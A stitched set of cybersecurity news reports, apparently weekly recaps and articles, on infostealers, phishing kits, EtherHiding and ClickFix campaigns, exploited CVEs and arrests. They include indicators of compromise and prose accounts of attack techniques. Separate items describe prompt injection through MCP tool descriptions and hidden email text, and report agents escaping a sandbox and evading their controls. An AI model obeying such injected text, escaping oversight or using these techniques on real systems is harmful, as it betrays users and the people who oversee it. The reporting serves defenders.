six adult female victims. These messages included nude images of the victims, both real and AI-generated. Strahler also posted online AI-generated obscenities he created of children." The defendant is said to have created more than 700 images of both real victims and animated persons and posted them to a website dedicated to child sexual abuse. He was arrested in June 2025. Bank takeover suspect extraditedSergei Anatolyevich Filimonov, 36, a Russian national and web developer, has been extradited to the U.S. in connection with a transnational cyber-fraud conspiracy responsible for large-scale bank account takeover attacks. "Filimonov and his co-conspirators executed a sophisticated scheme involving spoofed domains that mimicked the websites of federally insured financial institutions," the Justice Department said. "The conspirators purchased sponsored search-engine links to divert unsuspecting banking customers to fraudulent login pages, where victims entered their credentials. The conspirators used the stolen credentials to access bank accounts, review account balances, and initiate unauthorized wire transfers to steal bank account funds." Filimonov is also accused of developing and maintaining online infrastructure supporting the operation, including interactive databases storing more than 5,000 stolen login credentials and software designed to harvest and transmit sensitive authentication data. One of the backend domains linked to the scheme was seized by U.S. authorities in December 2025. Filimonov has pleaded not guilty to the charges. $245M crypto theft ringleader pleads guiltyMalone Lam (aka Anne Hathaway, $$$, and King Greavy), 22, a citizen of Singapore and recent resident of Miami, has pleaded guilty in the U.S. for their role as a "ringleader of an international cybercrime conspiracy" that used social engineering to steal and launder cryptocurrency valued at more than $245 million. "The criminal enterprise began no later than October 2023 and continued through at least May 2025," the Justice Department said. "The scheme developed through connections made on online gaming platforms and was comprised of individuals based in California, Connecticut, New York, Florida, and abroad. The RICO conspiracy used social engineering and occasional home break-ins to obtain information that allowed the conspirators to drain their victims' cryptocurrency wallets." Lam is accused of organizing the enterprise, identifying target victims, and coordinating with different co-conspirators. The stolen assets were used to purchase nightclub services, luxury handbags, high-end watches and clothing, rental homes, private jet rentals, a team of private security guards, and a fleet of exotic cars. Teams to obscure external QR codesMicrosoft said it will provide additional protection for QR codes shared by external users in team messages. "Images containing QR codes from external senders will be obscured by default and require users to reveal them before viewing or scanning," the company said. "This helps reduce the risk of phishing and fraud by encouraging more deliberate interaction with QR code content." The feature is expected to start rolling out next month. Google services abused as phishing relayA newly discovered phishing campaign has been observed routing "victims through a deliberate chain of legitimate Google services before landing them on credential harvesters or deploying remote access tools," according to KnowBe4 Threat Lab. What's unusual about the attack is that it abuses six distinct Google properties (Meet, Search, DoubleClick, Programmable Search Engine, Image Search, and Tag Manager) across a multi-hop redirection path to bypass email security filters. "The page pulls live company logos from Clearbit, real-time website screenshots from a third-party screenshot API, and uses Google's public DNS to validate the victim's corporate email domain," it added. Recent phishing campaigns have also increasingly exploited .vu, Vanuatu's country-code top-level domain, for setting up malicious infrastructure. KnowBe4 said it recorded a 159% increase in phishing sites, 1,660 unique domains, and over 28,000 malicious emails from April through July 2026. "Security vendors have historically seen almost no .vu traffic, so there is no TLD-level risk signal built into most threat feeds," the company said. Another "iCloud Sign-In Alert" phishing attack has been found to detect the operating system and serve a remote access tool for Windows users and a credential harvesting page for Apple users. "Everyone else gets walked through a fake Microsoft login while a human operator watches the credentials arrive in Telegram in real time," KnowBe4 said. Smart TV privacy claims spark scrutinyLG is drawing criticism over claims from YouTube channel Gamers Nexus that its smart TVs gather extensive information about users and their surroundings to fuel its advertising business. The channel crew said it observed the TV capturing IP addresses, location data, and the names, signal strengths, and channel numbers of nearby Wi-Fi networks. The consumer hardware also enumerated devices on the local network that were not paired with it, including smartphones, watches, routers, thermostats, air purifiers, server baseboard management controllers, and PCs. The move has been described as "an egregious invasion of privacy." In a statement shared with The Register, the company said the allegations are not true. "LG TVs process voice data only when the voice button on the remote control is pressed and held, or when a wake word such as 'Hi LG' is recognized after the user has activated the Far-Field voice recognition feature," the company said. Other than these instances, the TVs do not collect or record ambient conversations. If the wake word is not recognized, no voice data is transmitted to the server; wake word detection is processed locally on the device and immediately deleted. Additionally, to provide smart TV functionalities, LG TVs feature the ability to scan for and connect to nearby devices on the same network. This is a standard function commonly available on smart TVs and smart home devices." Malicious npm packages compromise walletsA set of 13 malicious wallet packages have been discovered on the npm registry. According to InstallSafe, their names reference wallets, signing, analytics, Solana, Base, or mobile components. "Any computer that has this package installed or running should be considered fully compromised," GitHub warns in an advisory. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. Blob URLs hide phishing pagesBarracuda has disclosed details of a DocuSign-themed attack campaign that replaces the traditional phishing site with a phishing page generated inside the victim’s browser using blob URLs. "Victims are routed through legitimate Microsoft services, making the attack appear trustworthy and reducing common warning signs," the cybersecurity company said. "Because the page exists only within that browser session, there is no persistent phishing URL for security tools to retrieve, analyze, or blocklist in advance. Because the visible navigation remains within trusted Microsoft services, users and automated scanners may be less likely to identify the activity as malicious." 5,400 hacked sites fuel EtherHidingMore than 5,400 compromised websites have been used for carrying out EtherHiding attacks. "The compromised websites have little in common beyond being small businesses (clinics, plumbers, e-commerce shops) with no shared industry, region, or owner," Netskope said. "These compromised sites include either an inline script or a spoofed package that calls the BSC testnet and downloads a ClickFix overlay as the next step of the attack, which instructs visitors to run a command on their PC." Another variant of the attack has been found to open a covert WebRTC data channel for command-and-control (C2) instead of serving the ClickFix overlay and use it to receive and execute arbitrary JavaScript code. Executive SSNs flood dark web marketsRapid7 said it has identified 476 instances of compromised Social Security numbers (SSNs) across 395 unique corporate personnel since early 2026. "Over 73% of these exposures directly targeted top-level leadership, with C-suite executives comprising 44.6% of affected profiles and Presidents making up another 28.6%," it said. "Unsurprisingly, given the geographical nature of SSNs, 95.6% of these leaks stemmed from U.S.-headquartered organizations, concentrated heavily in high-value sectors like Financials (over 25%) and Industrials (17%)." Marketplaces like Xilo, Bankom, and PeopleFinder together account for 81.5% of all executive SSN leaks present in its dataset, led by Xilo at 40.8%, Bankom at 21.8%, and PeopleFinder at 18.9%. MCP tools expose high-impact attack pathsAn analysis of 33,563 published MCP server builds containing 475,865 tools has found that 2 in 5 server builds include a tool that can access sensitive data or take consequential action and 1 in 13 server builds contain a code or command-execution primitive. "When an MCP host makes a tool available to a model, the tool’s description can enter the model's context," Island said. "After the tool is called, its returned text can enter that context too. The model may interpret either as guidance, not just documentation. An attacker may not need a malicious binary. A paragraph of natural language can be enough." This makes the "instruction supply chain" a critical attack surface, allowing bad actors to embed covert instructions in tool descriptions and prompts that a model may read and trigger unintended actions without requiring malicious executable code. "Security teams need a control plane that governs a tool from discovery to execution: inspect its code and instructions, constrain its capabilities, verify configuration changes, and evaluate each action in runtime context," Island said. "Approval cannot be a one-time package score; it must account for the tool version, the agent and user invoking it, the destination, the data in scope, and the action being attempted." MFA-bypassing PhaaS hits 40+ countriesHundreds of organizations across more than 40 countries have been targeted by BigBear 2.0, a rebranded Evilginx2-based Microsoft 365 phishing-as-a-service (PhaaS) operation. The stolen records are tied to 461 organizations. CloudSEK, which was able to gain admin access to the threat actor panel, said the operation has "exfiltrated 5,137 credential records — including 474 complete MFA-bypassed authentications, 1,032 plaintext passwords, and 4,148 session cookies — affecting 3,331 unique victim IPs across 40+ countries." The multi-user PhaaS panel has been leased to at least five affiliate operators so far. "The core technique employed is adversary-in-the-middle (AitM) phishing," CloudSEK said. "Unlike classical phishing that only captures passwords, Evilginx2's reverse proxy relays the entire session." FBI unveils first cyber strategyThe U.S. Federal Bureau of Investigation (FBI) has outlined its first-ever cyber strategy, stating it "will detect shifts in adversary intent and capability, disrupt their ability to profit or operate safely, expose their tradecraft and enablers, bring offenders to justice with domestic and international partners, and provide the evidence and intelligence that underpin sanctions, diplomatic action, and partner law enforcement actions." The agency also aims to attribute malicious cyber activity with confidence, support victims following intrusions, share actionable intelligence, and partner with U.S. allies and the private sector to increase impact. Furthermore, the agency said it will "adopt agentic AI in ways that securely scale defense and disruption, and will implement AI-enabled tools to detect, divert, and deceive threat actors where operationally appropriate." The lesson this week is smaller than “patch faster.” Stop giving ordinary things unlimited trust. Extensions, packages, redirects, sessions, AI tools, exposed services — most of the trouble begins when something familiar is allowed to do too much. Security still breaks at the boring handoffs: what gets access, what stays exposed, what gets inherited, and what nobody checks twice. Attackers do not need every door open. One lazy hinge is enough. That is probably the part worth remembering after the headlines disappear.

Turning off email images should at least stop the pictures. This week, attackers had a workaround: a scannable QR code built out of text. It still appears, even with images blocked. A small detail, but an annoying one if that was a precaution you were counting on. Elsewhere, a trusted software source delivered code that stole credentials, and a protocol designed for secure network management gave outsiders useful clues before login. Add active attacks on browsers, routers, and online stores, and there’s plenty to check—even for teams that have kept up with the patches. Read the full recap for the week’s major developments, plus more research, attacks, and security news beyond what we covered last week. ⚡ Threat of the Week N-able Patches Critical N-central Flaws — N-able has released hotfixes to address two severe N-central flaws (CVE-2026-86206 and CVE-2026-86207) that could allow an unauthorized party to bypass authentication controls and gain full access to the platform. Also patched is a maximum-severity security flaw (CVE-2026-86218, CVSS score: 10.0) that could allow for pre-authenticated remote code execution on the N-central server. "At this time, we have no confirmation that these vulnerabilities have been exploited in production environments, but unpatched systems remain at risk," N-able said. However, Huntress said it observed signs that attackers are likely leveraging CVE-2026-86206 or/and CVE-2026-86207, after it launched an investigation on September 4 following the compromise of a customer's fully patched N-central production environment. "However, due to limited historical logging available directly on the appliance, we cannot definitively confirm which specific exploit the threat actor used to achieve their compromise, nor can we rule out the use of alternative vulnerabilities," it said. AI Spend Out of Control? There's a Path Forward Imagine you’ve received a water bill for 500,000,000 gallons. Now, you have to account for every teaspoon of that water. IT leaders face a similar task when managing AI budgets, and it’s not as simple as token caps or model limits. Learn how your team can optimize your company's AI spend. Learn More ➝ 🔔 Top News Google Warns of Chrome 0-Day Under Attack — Google released security updates to patch 12 vulnerabilities, including one that has come under active exploitation in the wild. The high-severity vulnerability, tracked as CVE-2026-85046 (CVSS score: 8.8), has been described as a type confusion bug in V8, Chrome's JavaScript and WebAssembly engine. "Type confusion in V8 in Google Chrome prior to 152.0.7977.82 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page," according to a description of the flaw in CVE.org. Security researcher Salvatore Gulizia (aka Serotav) has been credited with discovering and reporting the flaw on August 4, 2026. As is usual in these cases, Google acknowledged that an "exploit for CVE-2026-85046 exists in the wild," but did not reveal any details about the nature of the attacks or who is behind them. With the latest development, Google has addressed a total of six actively exploited Chrome zero-days since the start of the year. MikroTik RouterOS Flaws Exploited — The CERT Polska Team warned that bad actors are actively exploiting two zero-day flaws in MikroTik RouterOS that could be combined to take full control of the device without authentication if the device supports remote access using the SSH protocol. The exploit chain has been codenamed MikroTrick. A total of fix flaws (CVE-2026-67276, CVE-2026-67277, CVE-2026-67278, CVE-2026-67279, CVE-2026-67281, and CVE-2026-86060) have been identified. The MikroTrick chain involves CVE-2026-67276 and CVE-2026-86060 (CVSS scores: 9.2), which can allow an attacker to bypass authentication and elevate their privileges. The issues have been fixed in versions 6.49.21 (Long-term), 7.23.4 (Long-term), and 7.24.2 (Stable). "The successful attacks observed so far, including the creation of the 'ops' account, originated from the IP address 82.192.72.4 and have been occurring since at least 2 September," CERT Polska said. "In addition, the IP address 103.102.31.18 was used in attempts to exploit the described chain." Unpatched Magento and Adobe Commerce 0-Day Exploited to Backdoor Online Stores — E-commerce storefronts are being compromised to inject a backdoor by exploiting an unpatched Magento and Adobe Commerce zero-day dubbed StyleSmuggler, which gives unauthenticated attackers remote code execution. The attacks commenced on September 4, 2026. "StyleSmuggler injects malicious code into Magento's template system," Sansec said. "By using the styles properties, it can evade existing safeguards. It works in two stages: (1) Inject (poison) PHP code, for example by generating a failure report, and (2) Let Magento execute the poisoned code via a failed payment email." The backdoor is a Rust program that connects to the "99.84.67[.]186" C2 server and waits for further instructions. There are currently no indications that the backdoor has been weaponized. There are two different variants named fc-cache and chronyd. A separate attack cluster has been found to leverage the same weakness to drop a PHP web shell into the product image cache. RevStealer Spreads via Game Cheats and Fake Claude Desktop App — Elastic and Morphisec disclosed details of RevStealer (aka REF2859), a Windows information stealer that comes with an embedded sandbox scoring system and Polygon blockchain-based dead drop for resilience, a technique also called EtherHiding. "Beyond credential theft, REVSTEALER targets gaming platforms for additional monetization; the developer clearly understands that victim accounts on these platforms hold real monetary value in resale markets," Elastic said. The malware is distributed via social engineering attacks, using YouTube videos claiming to advertise hacks for the Albion Online game or rogue GitHub repositories for Anthropic's Claude Opus 5 Free Desktop project. Once installed, the stealer can receive additional executable content through C2 tasks, including additional executable content through (for wallet-file and browser-extension theft, phishing overlays, password-aware input capture, and payload delivery), WinUpdate (for cryptocurrency-address replacement and mnemonic-shaped clipboard theft), SoftManager (for reverse SOCKS5 proxy and backconnect access over an encrypted WebSocket protocol), and LockAppHost (for XMRig deployment, competitor suspension, and persistence). OpenAI Agents Keep Going Rogue — OpenAI is once again in hot water after a swarm of agents self-identifying as from the AI startup hijacked a German website as early as May and used it as a bulletin board for other AI agents. The agent swarm is said to have taken over the obscure German-language wiki in May and June to make around 18,000 posts, relying on it to coordinate on evaluations and swap methods to evade OpenAI’s own controls. The revelations come days after OpenAI published its own detailed account of July's Hugging Face breach in which another swarm of OpenAI agents worked together to escape their sandbox during a cybersecurity evaluation and break into Hugging Face's servers. A subsequent cluster used similar techniques to break into OpenAI's own infrastructure. In response to the wiki incident, OpenAI said it is working on a framework for reporting misalignment incidents during training, evaluation, and deployment. ️🔥 Trending CVEs Bugs drop weekly, and the gap between a patch and an exploit is shrinking fast. These are the heavy hitters for the week: high-severity, widely used, or already being poked at in the wild. Check the list, patch what you have, and hit the ones marked urgent first — CVE-2026-78174, CVE-2026-19313, CVE-2026-19318, CVE-2026-19315, CVE-2026-57910, CVE-2026-57909, CVE-2026-13086 (WatchGuard), CVE-2026-80047 (Hugging Face Transformers), CVE-2026-9585, CVE-2026-9586, CVE-2026-9587, CVE-2026-9588 (Sangoma Switchvox SMB), CVE-2026-6881 (Ellucian Advance Web and Legacy Advance), CVE-2026-13381, CVE-2026-13380 (VSee Clinic), CVE-2026-63219, CVE-2026-58400 (GeoNetwork), CVE-2026-9637, CVE-2026-9621, CVE-2026-9622, CVE-2026-9624, CVE-2026-9625, CVE-2026-19471, CVE-2026-19472, CVE-2026-12663, CVE-2026-9633, CVE-2026-9634, CVE-2026-16675, CVE-2025-12768, CVE-2026-84235 (Rockwell Automation), CVE-2026-84115 (Cleo Harmony), CVE-2026-84117, CVE-2026-84118, CVE-2026-84119, CVE-2026-84120, CVE-2026-84121, CVE-2026-84122, CVE-2026-84123, CVE-2026-84124, CVE-2026-84125, CVE-2026-84126 (Mozilla Firefox), CVE-2026-84353, CVE-2026-84352, CVE-2026-85046 (Google Chrome), CVE-2026-19949 (All-in-One WP Migration and Backup), CVE-2026-20277, CVE-2026-20278, CVE-2026-20280, CVE-2026-20279, CVE-2026-20276, CVE-2026-20275, CVE-2026-20274, CVE-2026-20212 (Cisco), CVE-2026-15630 (Casdoor), CVE-2026-73749 (Hewlett Packard Enterprise ArubaOS-CX), CVE-2026-67394 (Plesk), CVE-2026-38577 (Tenda), CVE-2026-6471 aka PostGREShell (PostgreSQL), CVE-2026-42038 (Axios), CVE-2026-64532, CVE-2026-64533 (Linux Kernel), CVE-2026-58048 (cPanel and WHM), CVE-2026-14540 (Google mcp-toolbox), CVE-2026-84645, CVE-2026-84647, CVE-2026-84648, CVE-2026-84649, CVE-2026-84650, CVE-2026-84652, CVE-2026-84665, CVE-2026-84667, CVE-2026-84668, CVE-2026-84669, CVE-2026-84670, CVE-2026-84671, CVE-2026-84672, CVE-2026-84673 (Jenkins), GHSA-x7v6-xfx3-52j6, GHSA-r7jx-j9h7-j4xj, GHSA-9jcm-x588-gh26, GHSA-6mpx-c8rj-whj5, GHSA-q65v-4w7q-hx3r (FreeRDP), CVE-2026-59346, CVE-2026-59347 (Broadcom VMware Workstation and Fusion), CVE-2026-67276, CVE-2026-67277, CVE-2026-67278, CVE-2026-67279, CVE-2026-67281, CVE-2026-86060 (MikroTik RouterOS), CVE-2026-13181, CVE-2026-13182, CVE-2026-13183, CVE-2026-13184, CVE-2026-13185, CVE-2026-13186, CVE-2026-13190 (Telerik UI for ASP.NET AJAX), CVE-2026-86218, CVE-2026-86206, and CVE-2026-86207 (N-able N-central). 🎥 Cybersecurity Webinars A New Vulnerability Drops. Learn How to Find Out ”If You’re Exposed” Faster → Your security tools have the data. Getting an answer shouldn’t take days. See how Tines brings software, cloud, application, and vulnerability data into one dashboard—and learn how to give your team a faster, clearer view of what’s at risk. Find Which Vulnerabilities Attackers Can Actually Exploit—in Hours, Not Weeks → A vulnerability alert doesn’t tell you whether an attacker can break in. Learn how to test exploitability with real-world attack simulations, identify the gaps that matter, and focus remediation on proven risks—not just severity scores. 📰 Around the Cyber World New Knight Office Microsoft 365 AitM Phishing Kit — A new adversary-in-the-middle (AiTM) phishing toolkit called Knight Office has been spotted in the wild using Docusign-themed lures to direct victims to fake landing pages for AitM token theft and device code phishing attacks, joining the likes of EvilTokens and Kali365. The email "led the victim through a number of redirects (including a redirect via the Monday work management platform and a compromised Joomla website)," Huntress said. "The victim landed on a phishing page, where their valid session tokens were captured and fed to the Knight Office console. Session tokens allow attackers to access victim accounts as if they were logged in, without needing an actual password or a way to bypass multi-factor authentication (MFA)." At least nine total phishing attacks on identities have been linked to this kit over the past two weeks. The Blind Spot in SNMPv3 — SNMPv3 — the protocol widely regarded as the secure standard for managing routers, switches, and firewalls — leaks pre-authentication signals that can allow an unauthenticated remote actor to identify a device’s vendor, confirm valid usernames, and narrow its likely encryption settings before testing a single credential. Validated across approximately 470,000 internet-exposed endpoints, the findings show how these standards-compliant behaviors can collapse a multi-dimensional brute-force problem into a focused password-guessing exercise. "SNMPv3 was the industry's answer to insecure network management, and upgrading to it — as the CISA advisory urges — is necessary," said Kobi Ben-Naim, Co-Founder and CEO of Malanta. "But that answer is incomplete. The protocol does exactly what it was designed to do, and that design hands attackers a roadmap: even properly upgraded deployments, when exposed, leak enough through pre-authentication responses to help an attacker narrow their way in before a single credential is tested. The threat doesn't end with the upgrade." U.S. Announces Reward for Senior Iranian Official — A $10 million reward has been posted by the U.S. State Department for information on the whereabouts of senior Iranian official Amir Yaryab. Yaryab allegedly leads the Islamic Revolutionary Guard Corps' (IRGC) Cyber-Electronic Command (CEC). "Yaryab also oversees and controls operations conducted by IRGC-CEC-affiliated groups such as CyberAv3ngers, Dadeh Afzar Arman (DAA), and Mehrsam Andisheh Saz Nik (MASN). These malicious cyber groups have used malware to target civilian infrastructure worldwide," the State Department said. Attack on Coder — Attackers compromised Coder's Cloudflare infrastructure and added unauthorized registry servers that delivered malicious Terraform modules containing credential-stealing code to harvest environment variables, API keys, CI/CD credentials, configuration secrets, terminal history, OIDC tokens, SSH keys, external authentication tokens, and Coder database passwords. The data was then exfiltrated to the lookalike domain "coder-infra[.]com." "An unidentified malicious actor gained access to Coder’s Cloudflare infrastructure and added unauthorized IP addresses to the pool used for Coder’s module registry," Coder said. "These unauthorized IP addresses hosted a version of Coder's registry that contained artifacts which included malicious code." Users are advised to look for connections to the malicious domains before applying the latest patches (versions 2.37.0, 2.36.4, 2.35.7, and 2.34.9) U.S.-U.K. Team Up to Shut Down Scam Centers — The U.S. and the U.K. signed a Memorandum of Understanding (MoU) to work together on an initiative to shut down scam centers stealing billions of dollars through investment and romance fraud schemes. "Under the terms of the MOU, each will conduct parallel investigations into common targets, share information on targeting of organized crime syndicates, discuss which jurisdictions to bring specific cases of common interest, and generally prioritize cases on this threat to achieve mutual results," the U.S. Justice Department said. Tampered Exodus Installer Delivers Modular RAT — Victims are being tricked into running a fake PDF document or a software update that leads to the execution of an MSI installer that declares itself a "Background Service" by Apple. "The 'Background Service' installs a genuine Exodus 24.33.4 cryptocurrency wallet, missing one key function: any way for the user to interact with it," Huntress said. "Only 3 of its 1,973 files differ from the real thing. One of those three files stops the wallet from ever drawing a window. Another turns a legitimate Exodus source file into a PE loader that decrypts a 10 MB payload and maps it into memory by hand, where it never touches disk. That payload is the RAT: a hidden VNC and SOCKS proxy that enable remote access and browser credential theft. While the RAT stealthily beacons to Azure Table Storage rather than a domain of its own, it returns every hour through a scheduled task, leaving behind detectable artifacts." QR Phishing With No Image — In a new phishing attack detailed by Kaspersky, threat actors are building a QR code out of text characters and markup directly in the email body as opposed to rendering an image. "There is no attachment to open, no embedded picture to decode, and nothing for an image-based or optical-character-recognition (OCR) scanner to key off," PhishU said. "Because it is markup and not a remote image, an inbox with images turned off still paints it. The message shows a perfectly scannable QR to the human reading it, image-blocking and all." Apple Hit With $2.7 Billion Lawsuit Over App Tracking Rules — Apple is facing a £2 billion ($2.7 billion) lawsuit in the U.K. accusing it of imposing stricter App Tracking Transparency rules on third-party developers than on its own advertising services, thereby giving its ecosystem a competitive advantage, according to Reuters. Apple's App Tracking Transparency feature has been the subject of extensive investigations across Europe. Last month, Apple agreed to make changes to the feature across almost all European Union countries following a probe in Germany. Attackers Routinely Target Edge Devices — A joint analysis from SentinelOne and Tenable found that both nation-state and criminal threat actors are focusing on vendors and susceptible points in the attack surface more than specific CVEs. "Both state-sponsored actors and cybercriminals independently converge on the same edge infrastructure," the companies said. "The exposure picture is flatter than the headlines suggest: Fortinet, the vendor most associated with edge-device attacks in the press, sits mid-pack on container-grain exposure (25%) — well behind F5 (54%) and in a tight 10-point band with Check Point, Ivanti, and Citrix. 54% of customer environments running F5 products have at least one exposed, actively-exploited CVE; Citrix customers show the slowest remediation patterns at 461 days median time to patch." The disclosure comes as current attacker timelines are compressing and moving faster than standard patch cycles can address, driven by frontier AI models that narrow the window between vulnerability discovery and exploitation. The Threat of Indirect Prompt Injection — New research from Forcepoint revealed that an email summarizer running an unguarded LLM pipeline can be manipulated through indirect prompt injection (i.e., hidden instructions in an email) to silently hijack summarizer output and generate false and potentially dangerous summaries without signaling tampering to the recipient. It's the latest example of how attackers can use indirect prompt injections to undermine AI systems and get them to behave in unintended ways when processing external content. It's also a reminder of AI's fundamental limitations. Large language models (LLMs) cannot distinguish between authentic user instructions entered directly into a prompt and content they find on untrusted third-party sources, leading to prompt injections. "A regular Outlook email composer does strip styling that hides elements on copy/paste and does not provide any way to hide text other than white text on white background," Forcepoint said. "The hidden styling was not stripped when sent programmatically, or when the message is received and displayed. Hidden HTML tags like these have been commonly used by attackers to circumvent careful reading by victims." Conclusion Trusted sources and safer settings still have limits. This week’s attacks show why it matters to know exactly what each protection covers—and what it leaves exposed. Keep patching, but keep the logs needed to investigate, too. “Fully patched” tells you which fixes are installed. It doesn’t prove nobody got in.

Elastic Security Labs has documented four previously unreported programs associated with REVSTEALER, an emerging Windows information stealer, that remain on an infected machine after the stealer deletes itself. One of them switches off Windows Update and Microsoft Defender before running a cryptocurrency miner. The company named the four programs ProManager, WinUpdate, SoftManager, and LockAppHost and published the findings on September 2, along with a technical white paper. REVSTEALER has been sold as a commercial infostealer since at least February 2026, when the earliest sample was first detected on VirusTotal. The core stealer exfiltrates browser passwords and cookies, cryptocurrency wallets, gaming accounts, messaging data, and files, then reports "complete" to its server, deletes itself, and leaves no persistence. The four newly documented programs work differently. Each installs itself into the user's profile and stays there. Elastic recovered the four programs from the same investigation as REVSTEALER and found that they share its build tradecraft, including the same packer, runtime function resolution, and the use of Polygon smart contracts for backup configuration. The core stealer can also download and run additional executables at the command line. Elastic did not report seeing any of the four delivered onto a live REVSTEALER host, so the connection rests on shared code and investigative context rather than an observed hand-off. The company describes the components as an "activity set" and notes they are separate executables, not plug-ins loaded into the stealer itself. What each program does, in Elastic's account: LockAppHost is the most disruptive of the four. To gain administrator rights, it abuses the Windows CMSTP tool, falling back to a standard elevation prompt if that fails. Once elevated, it adds Microsoft Defender exclusions for common folders and file types, disables 5 Windows Update services, disables 11 scheduled update tasks and 2 malware removal tasks, and then hides a miner within legitimate Windows processes. The changes it makes to weaken the machine's defenses remain after the miner is found. ProManager targets users of desktop cryptocurrency wallets. Because most of those wallets are built with the Electron framework, ProManager reads the wallet window's saved position and opens attacker-supplied content sized and positioned to overlay the real wallet, without touching the wallet program itself. A separate part of the module records what the user types into password and passphrase fields, including values pasted from the clipboard. Before the modules ever arrive, REVSTEALER casts a wide net. It collects browser passwords and cookies; files from more than 50 cryptocurrency wallets and a large set of wallet browser extensions; session data from Telegram and other messaging clients; VPN and FTP configuration; the Windows Credential Manager; password managers; and selected documents. For some gaming platforms, it goes further. It decrypts the stored Roblox session cookie, allowing an attacker to take over the account without the password. To obtain credentials that Chrome protects with App-Bound Encryption, REVSTEALER launches the browser in a debugger and reads the decryption key from memory. This is not a new technique, nor is it unique to REVSTEALER. Elastic said it was likely adapted from the public ElevationKatz project and was also used by another stealer, VoidStealer, in March 2026. Gen Digital, which analyzed VoidStealer, described it as the first infostealer seen using the technique in the wild. REVSTEALER reaches victims mainly through game-cheat lures. Elastic identified at least 17 YouTube channels, many of which were hijacked from their original owners, that promoted two cheat websites using short AI-generated videos. The malware has also been packaged as pirated or impersonated software, including a fake "Claude Opus 5 Free Desktop" application that Morphisec documented on August 31. That application copied Anthropic's branding, and there is no indication Anthropic itself was compromised. Elastic's detection rule matched about 4,700 samples on VirusTotal over the past year, a count of files rather than confirmed infections. REVSTEALER is built to resist analysis. It scores the machine against 10 sandbox checks and stops if the total is too high, and it terminates on systems set to one of 10 languages used across Russia and Central Asia. It resolves Windows functions without a normal import table and calls the kernel via indirect system calls to bypass the hooks installed by security products. If its main command server is unreachable, it reads a backup address from a smart contract on the Polygon blockchain, a takedown-resistant method known as EtherHiding. Unpacked builds also show a verification window that asks for a random six-character code before running, a gate against automated analysis that Elastic compares to Lumma Stealer and AuraStealer. To reduce the risk of infection, avoid downloading "free" or unofficial versions of paid AI tools and game cheats, and install Claude only from Anthropic's official channels. Elastic has published YARA rules and behavior rules and a set of indicators for detection and blocking. The public YARA file covers the core stealer and the ProManager, SoftManager, and WinUpdate modules, but does not include a rule for LockAppHost, the mining module. Because the core stealer deletes itself, an infection can appear complete while the modules continue running. Where LockAppHost has run, responders should re-enable the Windows Update services and scheduled tasks that it turned off, remove the Microsoft Defender exclusions it added, and look for a miner hidden in a suspended instance of nslookup.exe or svchost.exe. Since the stealer takes session cookies and the Chrome App-Bound Encryption key, affected users should change passwords and end active sessions on their accounts rather than assume a password reset is enough. Selected indicators of compromise: SHA-256: adc4aa652965396b52e79435ca54987ae9eb21bf5e67de5e9461b09655165ee4 (REVSTEALER) SHA-256: 13d7237d7289e67c2d806a65d52580b453ce4987acbe2c4c4d04833f55ebccfa (ProManager) SHA-256: 7c08cf409194056a8517865e5d3433d1499bb8262263b55b49b8b07d9d182fcb (WinUpdate) SHA-256: 14b2ac356ed75d10ef40bbaaa48e7dd9fff7de9719c2a43ad123fe843dd4e4e2 (SoftManager) SHA-256: c66d2b77b9e85c53391891212413ad9a99eb66f4b11c6a431e78884a5b2651e5 (LockAppHost) Domain: monitor5.roast-core85[.]click (REVSTEALER C2) Domain: config.hubdisplay[.]lol (ProManager C2) Domain: health.journal-metric[.]lol (WinUpdate C2) Domain: metric.gardenpark[.]click (SoftManager C2) Gen Threat Labs first documented REVSTEALER in July. Elastic's report and white paper are the fuller public account of the malware to date.

A massive cybercriminal operation is leveraging thousands of compromised small-business websites to deliver ClickFix payloads stored in smart contracts on the BNB Smart Chain (BSC). Over the past months, researchers identified more than 5,400 hacked websites, most of them built on WordPress and PrestaShop. The initial compromise method remains unknown, but each site was injected with a script that gets the next-stage payload from a smart contract on the BSC Testnet endpoint, a technique known as EtherHiding. Researchers at cloud security platform Netskope explain that the BSC Testnet is designed for developers and functions similarly to the mainnet, the production blockchain, but is available free of charge. Threat actors use the EtherHiding technique to store malicious code or configuration data in blockchain smart contracts, providing a resilient infrastructure that is difficult to take down. In the delivery chain observed by Netskope, the script displays a ClickFix lure that shows a fake CAPTCHA and instructs visitors to open the Windows Run dialog and paste a PowerShell command. Doing so downloads and executes the final payload on the machine. Because the attacker stores the payload in a smart contract, they can modify it at any time. The researchers note that later in the campaign, the threat actor replaced the ClickFix payload in the smart contract with a WebRTC data-channel stager. In the newer variant, the payload establishes a covert encrypted channel to the attacker and executes the received code. “The script creates a peer connection and a data channel, then generates the required session description offer just like a normal WebRTC handshake,” Netskope explains. “But instead of sending that offer anywhere and waiting for a real reply, it hand-writes the answer itself and feeds it straight back into the connection. This way, no handshake happens, but a data channel to the cyberattacker still opens.” The stager receives JavaScript code from the hardcoded command-and-control (C2) address, buffers it, and executes it when the channel closes or after ten seconds. Received code is assembled in the browser memory and executed dynamically without being saved to disk by adding it to the head of the DOM Netskope warns that the operation uses more than 300 infected websites every day. Since spring, the number of compromised sites contacting the BSC Testnet RPC endpoints has grown constantly. Telemetry data shows that nearly 400 websites called the endpoint every day in August, with an all-time peak of 536. The security researchers recommend that defenders block the entire pool of BSC testnet RPC endpoints provided here and monitor for non-web UDP traffic associated with WebRTC. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

Threat actors are leveraging the trusted Node.js JavaScript runtime in multiple cyber attacks as a way to deploy malicious payloads. According to a new report published by the Symantec Threat Hunter Team today, the attack method has been put to use in attacks targeting government departments, technology companies, and hotels since February 2026. "The technique's appeal is that node.exe (the binary that runs Node.js) is a legitimate, signed developer tool," the Broadcom-owned cybersecurity division said in a report shared with The Hacker News. "The attacker's malicious code lives in interpreted scripts rather than in a binary, making it less likely to trigger signature-based detection, while a registry Run key entry can relaunch the payload at every login." In one intrusion observed between March 23 and July 25, 2026, targeting an unspecified Asian technology company, attackers downloaded the official Node.js installer from nodejs[.]org and used the trusted, signed runtime to deploy a malicious implant to establish long-term access and retrieve commands or tooling using a technique called EtherHiding. The threat actors are said to have shifted to this approach after their repeated attempts to deploy AdaptixC2 and Cobalt Strike beacons on the victim's network were blocked after obtaining initial access through the ClickFix social engineering technique. Interestingly, the technique has also been employed alongside ModeloRAT and Mistic (aka MLTBackdoor), both of which are assessed to be the work of an 